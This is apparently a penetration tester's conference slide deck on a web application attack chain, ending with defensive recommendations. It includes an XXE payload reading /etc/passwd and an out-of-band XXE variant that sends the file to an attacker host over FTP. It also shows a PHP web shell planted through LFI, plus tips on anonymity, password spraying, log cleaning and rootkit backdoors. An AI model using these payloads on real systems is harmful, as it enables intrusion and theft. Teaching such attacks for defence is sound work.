

# Web Application Attacks in practice

Or how the real application attack looks like

# INTRODUCTION

- Long term IT security guy, founder of IT security hacking companies (Nethemba SK/AT, Hacktrophy) & contemporary art (Satori)
- Cryptoanarchist & voluntaryist focused on technology and society hacking
- Co-founder of Bratislava's and Prague's hackerspaces (Progressbar & Paralelni Polis)
- Member of Czech contemporary artistic group Ztohoven

# CONTENTS

- Achieving anonymity
- Username enumeration, password bruteforcing
- Exploiting of the server side vulnerabilities
- Cracking the hashes
- Local root escalation
- Cleaning the traces
- Backdooring

# ACHIEVING ANONYMITY

**To achieve the maximum anonymity, the attacker has various choices:**

- Buy an anonymous VPN or anonymous proxies using BTC/LTC or prepaid credit cards (cash4web, blesk penezenka)
- Use Tor/I2P anonymization networks
- Hack any Internet vulnerable server (there are millions, use Shodan)
- Use anonymous shell accounts (freeshell.eu)

# ACHIEVING ANONYMITY II

## The attacker has to be aware of

- Sanitizing its “browser footprint” (<https://panopticklick.eff.org/>)
- DNS leaks (using TOR internal DNS resolver)
- Traffic analysis (Traffic Confirmation attack)
- Eavesdropping by Tor exit nodes

# USERNAME ENUMERATION

- The application is vulnerable to username enumeration (= different application's response where valid login and invalid password and invalid login and invalid password are provided)
- It can be even time difference (just in few milliseconds)
- Can be automatized using BurpSuite / wfuzz

Note: We have no credentials, no logins, no passwords - let's find existing ones using the wordlist of commonly used English usernames



Finished 

# PASSWORD ENUMERATION

- We have valid logins - it is a time to brute-force passwords
- The problem is the account is suspended for a defined time period after 3 incorrect passwords, so let's use in-breadth search instead of in-depth search (most applications are unable to detect it) – login1, password1, login2, password2, login3, password3, etc.) (hydra -u)
- Multiple IP addresses can be used (Tor exit nodes)

# Exploiting the server side vulnerabilities

- SQL injections still work (and will until we have PHP applications)
- Unrestricted file upload (very dangerous)
- XXE/XML injections (SSRF bible. Cheatsheet)
- Sensitive content / additional functionality in DocumentRoot

# XXE/XML Injection

Naive XML parsers that blindly interpret the DTD of the user supplied XML documents

Let's try to construct the injection string:

```
<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >  
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

# XXE/XML Injection II

## Potential Impact:

- Local file access
- SSRF and remote file includes
- Denial of Service
- Possible remote code execution

# XXE/XML Injection II

```
POST /service/ss HTTP/1.1
```

```
Content-Type: text/xml
```

```
Connection: close
```

```
<!DOCTYPE r [
```

```
<!ENTITY % data SYSTEM "file:///etc/passwd">
```

```
<!ENTITY % connect SYSTEM "http://x.x.x.y/a.dtd">
```

```
%connect;
```

```
%param1;
```

```
%send;
```

```
a.dtd:
```

```
<!ENTITY % param1 "<!ENTITY &#x25; send SYSTEM 'ftp://x.x.x.y/%data;'>">
```

# THE ATTACKER'S INTERESTS

The attacker is mainly interested in:

- Any sensitive information (credit card numbers, cryptocurrency wallets, usernames, passwords, certificates, keys, ..)
- Administrator/root passwords / hashes (in order to escalate his privileges, access to admin web interface or gain full database access)
- Anything that can be sold on black markets :)

# CRACKING THE HASHES

Hashes are invaluable source for the attacker doing cracking by using:

- Big word-lists/dictionaries
- Brute-forcing (this can be very time consuming, fast GPU is used)
- Offline or online rainbow tables (for all hashes which do not use salt including DES, LM, NTLM, MD5, SHA1, SHA256, SHA512, ...)

# LOCAL ROOT ESCALATION

Gaining the privileges of local user (apache, www-data, webuser):

- Mostly by unrestricted file upload vulnerability
- Using SQL statements (execute privileges or reading/writing local files or run own system commands)
- Using TCP/Unix sockets (symlink races)

Gaining the privileges of root:

- Local root exploit (many Linux systems are unpatched for many months/years)
- Vulnerability in any service with root privileges
- Configuration issues (cron / sudo / ..)

# Care about your kernel and local system security

(e.g. use on-the fly kernel patching)

# CLEANING THE TRACES

- After the successful attack, web server / WAF / IPS / IDS logs are full of SQL injection / any exploitation attempts
- When the attacker gains local root/admin, it is usually easy to clean his traces (modify web server / WAF / IPS / IDS logs, remove suspicious entries from the database, ...)
- Always use remote logging / store logs to write-once medium

# BACKDOORING

- Nowadays, the best way of backdooring is to use LKM rootkits – they are stealthy, non-detectable, and completely immune against file-system checksums/hashing (like Tripwire)
- Compromised server can be used as another attacker proxy, for ransomware distribution, or sold as a part of botnet on the hacker's blackmarket

# SUMMARY

- Security should be always “multi-layered”, the attacker almost always exploits the weakest chain
- Write secure code, validate all inputs / outputs, prefer whitelisting instead of blacklisting, use 3rd layered database architecture
- Care about your local system security
- Security audits and penetrations tests should be an inevitable part of SDLC (contact your penetration testing company)
- Submit your application to the bug bounty program

# LFI - Local File Inclusion

- Parameter lang is not correctly handled
- Filtering regexp is applied, but not recursively!
- We can include any file (!)

# LFI - Local File Inclusion II

- Is there any file on the filesystem we have control over its content?
- Yes, there is! PHP Session `/var/lib/php/sessions/sess_XXXXX`
- Let's read it

# LFI - Local File Inclusion III

- Let's run any system command!
- Let's put there
- `<?php system($_REQUEST[cmd]); ?>`

# LFI - Local File Inclusion IV

- And let's backdoor the system!
- Weevely3 is used

NETHEMBA

# Thank you!

[pavol.luptak@nethemba.com](mailto:pavol.luptak@nethemba.com)